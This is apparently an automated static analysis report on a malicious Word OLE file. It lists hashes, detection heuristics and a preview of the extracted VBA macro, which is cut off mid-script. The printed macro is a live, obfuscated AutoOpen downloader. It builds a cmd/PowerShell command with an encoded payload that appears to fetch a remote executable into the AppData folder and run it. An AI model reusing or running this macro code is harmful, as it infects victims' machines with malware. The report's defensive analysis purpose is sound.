Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2227c8f0c02df0c2…

MALICIOUS

Office (OLE)

72.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-01-25
MD5: 23ec51250c4b0cfcbe93ab3b50841015 SHA-1: 3d953078a86f9dfcbc1c99559f5269d4f49178f1 SHA-256: 2227c8f0c02df0c2f62ea6b6cb0c887a365631daa9b1599ae1c1f1acefafbb08
242 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6732123-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6732123-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8116 bytes
SHA-256: f1c102c18edcc72c21f15aa861fce59e75b4adb7f74afed5d2339bd5b9210610
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const xdamUfUoroNiroduxApOkYkMEXoFo = 0
Sub AutoOpen()
On Error Resume Next
Dim rAWFuQEfYSefXYfyfoLuqoGI

rAWFuQEfYSefXYfyfoLuqoGI = IsNull(Choose(3, "reKuqeUVIksesuPECi", "rAWFuQEfYSefXYfyfoLuqoGI", "reKuqeUVIksesuPECirAWFuQEfYSefXYfyfoLuqoGI"))
IsError CVErr(1849)
Call IsNull(1849 - 3 * 12)

If Len(reKuqeUVIksesuPECi) > Len(CStr(Hex(1849))) Then
   Call IsError(CVErr(CInt(CStr(reKuqeUVIksesuPECi))))
End If
jEfAQEmIQaHfUxIqitetigAbidyjuUaOtumaXySixI = "" + Format(ChrW((12.5 * 8) - 1)) + "md." + Format(ChrW(101)) + "x" + Format(ChrW(101)) + " /" + Format(ChrW((12.5 * 8) - 1)) + " P^O^W^" + Format(ChrW(101)) + "^r^s^H^" + Format(ChrW(101)) + "^l^L^.^E^X^" + Format(ChrW(101)) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW((12.5 * 8) - 1)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^A^6^A^C^8"

zuxypewUnFOcajIdyveSZUQYMYHiTowOkciTojeq = "^A^L^w^B^k^A^G^U^A^Y^Q^B^s^A^G^E^A^Z^A^B^5^A^G^4^A^b^w^B^1^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^o^A^H^A^A^P^w^B^s^A^D^0^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^v^A^H^I^A^" + Format(ChrW(101)) + "^Q^A^x^A^D^A^A^L^g^B^4^A^G^E^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^A^i^A^C^w^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^g^A^C^s^A^I^A^A^n^A^F"

Dim qAhiHAFOYBDYQUNEhocaNOcE

qAhiHAFOYBDYQUNEhocaNOcE = IsNull(Choose(8, "jaJuliaUHufeHu", "qAhiHAFOYBDYQUNEhocaNOcE", "jaJuliaUHufeHuqAhiHAFOYBDYQUNEhocaNOcE"))
IsError CVErr(7936)
Call IsNull(7936 - 8 * 11)

If Len(jaJuliaUHufeHu) > Len(CStr(Hex(7936))) Then
   Call IsError(CVErr(CInt(CStr(jaJuliaUHufeHu))))
End If

wARuZUyMeLoaelYWaXATNezYairaAHuDmy = "^w^A^Y^g^A^y^A^D^k^A^Z^Q^A^2^A^D^Q^A^Y^g^A^w^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^p^A^D^s^A^I^A^B^T^A^H^Q^A^Y^Q^B^y^A^H^Q^A^L^Q^B^Q^A^H^I^A^b^w^B^j^A^G^U^A^" + Format(ChrW((12.5 * 8) - 1)) + "^w^B^z^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^J^w^B^" + Format(ChrW((12.5 * 8) - 1)) + "^A^G^I^A^M^g^A^5^A^G^U^A^N^g^A^0^A^G^I^A^M^A^A^u^A^G^U^A^" + Format(ChrW(101)) + "^A^B^l^A^C^" + Format(ChrW((12.5 * 8) - 1)) + "^A^O^w^A^g^A^E^U^A^" + Format(ChrW(101)) + "^A^B^p^A"
Dim heaaOoXkotABunesOiuBYmAnEqIcUXErOqjUbIRY

heaaOoXkotABunesOiuBYmAnEqIcUXErOqjUbIRY = IsNull(Choose(8, "GeaIZOgABaQY", "heaaOoXkotABunesOiuBYmAnEqIcUXErOqjUbIRY", "GeaIZOgABaQYheaaOoXkotABunesOiuBYmAnEqIcUXErOqjUbIRY"))
IsError CVErr(1660)
Call IsNull(1660 - 8 * 10)

If Len(GeaIZOgABaQY) > Len(CStr(Hex(1660))) Then
   Call IsError(CVErr(CInt(CStr(GeaIZOgABaQY))))
End If

Dim vIpIJErOQeaoXIjAFOLOSOkifoXAWyxYNaBanuNuW

vIpIJErOQeaoXIjAFOLOSOkifoXAWyxYNaBanuNuW = IsNull(Choose(7, "rYWAfaViLOtYMe", "vIpIJErOQeaoXIjAFOLOSOkifoXAWyxYNaBanuNuW", "rYWAfaViLOtYMevIpIJErOQeaoXIjAFOLOSOkifoXAWyxYNaBanuNuW"))
IsError CVErr(833)
Call IsNull(833 - 7 * 12)

If Len(rYWAfaViLOtYMe) > Len(CStr(Hex(833))) Then
   Call IsError(CVErr(CInt(CStr(rYWAfaViLOtYMe))))
End If

doiypExImUDIJucoNyRABiPToJExOdefyC = "^H^Q^A"
Dim duiAOVYKYJeWOTImequSurABIxDEDyHWACNAiRyX

duiAOVYKYJeWOTImequSurABIxDEDyHWACNAiRyX = IsNull(Choose(6, "detUWOnogIiIMAKupEVAHYl", "duiAOVYKYJeWOTImequSurABIxDEDyHWACNAiRyX", "detUWOnogIiIMAKupEVAHYlduiAOVYKYJeWOTImequSurABIxDEDyHWACNAiRyX"))
IsError CVErr(242)
Call IsNull(242 - 6 * 10)

If Len(detUWOnogIiIMAKupEVAHYl) > Len(CStr(Hex(242))) Then
   Call IsError(CVErr(CInt(CStr(detUWOnogIiIMAKupEVAHYl))))
End If


Dim waTozciQAROcIMUKUKucivaYJEMyjurydAqyWE

waTozciQAROcIMUKUKucivaYJEMyjurydAqyWE = IsNull(Choose(10, "xudfu
... (truncated)